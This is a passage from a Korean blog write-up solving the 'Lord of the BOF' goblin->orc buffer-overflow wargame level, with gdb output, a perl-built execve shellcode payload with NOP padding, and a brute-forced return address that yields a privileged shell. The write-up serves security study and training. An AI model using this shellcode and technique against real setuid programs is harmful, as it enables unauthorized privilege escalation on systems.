0x80485a1 <main+161>: add    $0x4,%esp

0x80485a4 <main+164>: push   $0x0

0x80485a6 <main+166>: call   0x8048420 <exit>

0x80485ab <main+171>: add    $0x4,%esp

0x80485ae <main+174>: mov    %esi,%esi

0x80485b0 <main+176>: mov    0xc(%ebp),%eax

0x80485b3 <main+179>: add    $0x4,%eax

0x80485b6 <main+182>: mov    (%eax),%edx

0x80485b8 <main+184>: push   %edx

0x80485b9 <main+185>: lea    0xffffffd8(%ebp),%eax

0x80485bc <main+188>: push   %eax

0x80485bd <main+189>: call   0x8048440 <strcpy>

0x80485c2 <main+194>: add    $0x8,%esp

0x80485c5 <main+197>: lea    0xffffffd8(%ebp),%eax

0x80485c8 <main+200>: push   %eax

0x80485c9 <main+201>: push   $0x8048669

0x80485ce <main+206>: call   0x8048410 <printf>

---Type <return> to continue, or q <return> to quit---

0x80485d3 <main+211>: add    $0x8,%esp

0x80485d6 <main+214>: lea    0xffffffd8(%ebp),%eax

0x80485d9 <main+217>: push   %eax

0x80485da <main+218>: push   $0x804866d

0x80485df <main+223>: call   0x8048410 <printf>

0x80485e4 <main+228>: add    $0x8,%esp

0x80485e7 <main+231>: leave  

0x80485e8 <main+232>: ret    

0x80485e9 <main+233>: nop    

0x80485ea <main+234>: nop    

0x80485eb <main+235>: nop    

0x80485ec <main+236>: nop    

0x80485ed <main+237>: nop    

0x80485ee <main+238>: nop    

0x80485ef <main+239>: nop    

End of assembler dump.


/* 5. strcpy 브포. */

(gdb) b *main+189

Breakpoint 1 at 0x80485bd

(gdb) r `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x65\xfc\x90\xbf"'`

Starting program: /home/goblin/orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x65\xfc\x90\xbf"'`


Breakpoint 1, 0x80485bd in main ()

(gdb) x/50wx $esp

0xbffffb6c: 0xbffffdbd    0xbffffddb    0xbffffdf3     0xbffffdfe

0xbffffb7c: 0xbffffe0f     0xbffffe20    0xbffffe28     0x00000000

0xbffffb8c: 0x00000003 0x08048034 0x00000004 0x00000020

0xbffffb9c: 0x00000005 0x00000006 0x00000006 0x00001000

0xbffffbac: 0x00000007 0x40000000 0x00000008 0x00000000

0xbffffbbc: 0x00000009 0x08048450 0x0000000b 0x000001f7

0xbffffbcc: 0x0000000c 0x000001f7 0x0000000d 0x000001f7

0xbffffbdc: 0x0000000e 0x000001f7 0x00000010 0x0febfbff

0xbffffbec: 0x0000000f 0xbffffc1e     0x00000000 0x00000000

0xbffffbfc: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc0c: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc1c: 0x36690000 0x2f003638 0x656d6f68 0x626f672f

0xbffffc2c: 0x2f6e696c 0x0078726f

(gdb) 

0xbffffc34: 0x99580b6a    0x2f2f6852     0x2f686873  0x896e6962 //쉘코드가요기잉네

0xbffffc44: 0x895352e3   0x9080cde1 0x90909090 0x90909090  //0xbffffc34?35?

0xbffffc54: 0x90909090 0x90909090 0x90909090 0xbf90fc65

0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffffcf4: 0x00000000 0x00000000

(gdb) quit

The program is running.  Exit anyway? (y or n) y


/* 6. 복사본에 시도해봅니다.*/

[goblin@localhost goblin]$ ./orx `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x35\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????5?

bash$         //오옹 되넹

bash$ exit

exit


/* 7. 원본에 시도해봅니다. */

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x35\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????5?

Segmentation fault            //안되네여 하핳ㅎ하핳하하핳

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x34\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????4?

Illegal instruction


/*이 시점에선 그냥 34~40까지 해보자 하고 끝값을 마구마구 대입했습니다*/

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x33\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????3?

Segmentation fault

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x36\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????6?

Illegal instruction

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11,"\x90"x10, "\x37\xfc\xff\xbf"'` 

j

 X?Rh//shh/bin??S?訴€?????????????????????7?

bash$ my-pass        //결국엔 됬어요.

euid = 504


아하하하하하하 굉장히 많은것을 배웠습니다

gdb에 대한 공포감도 줄이고, 알아낸게 많은 것 같습니다.

중간중간에 좀 안맞지만 (하도 오랫동안 삽질해서 날아간게 좀 많아요) 그래도 뼈대는 있네여. 고치면서 본건데 기억안나는것도 많고,,, 다음에 시간나면 다시 해봐야겠습니다.

이거 푸는동안 조언주신 많은 분들께 감사합니다!

기분좋네요ㅎㅎ


NOTES:


버퍼의 크기는 44

48번쨰 바이트는 \xbf여야 한다


코어는 해당 프로그램이 관리자 권한이 아닐 때 덤프가 떠지지 않는다

음 망했어


0xbffffc48

0xbffffc65

          28

          34

          35


48번째 바이트가 \xbf여야 하니까 3바이트 빼면 45바이트니까 환경변수 4바이트 nop 41바이트

gdb에서 \xff는 인식되지 않는다아앙ㅇ아ㅏㅇ


ㅋㅋ 정신나간 노트가 많습니다. 저 주소값들 어쩔꺼야;;

그래도 풀으니까 속시원하네여. 삽질한 성과가 있는것 같습니다ㅋㅋ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

wolfman->darkelf  (0) 2013.11.21
orc->wolfman  (0) 2013.11.21
goblin->orc  (0) 2013.11.20
cobolt->goblin  (0) 2013.11.01
gremlin->cobolt  (0) 2013.10.30
gate->gremlin  (0) 2013.10.27

+ Recent posts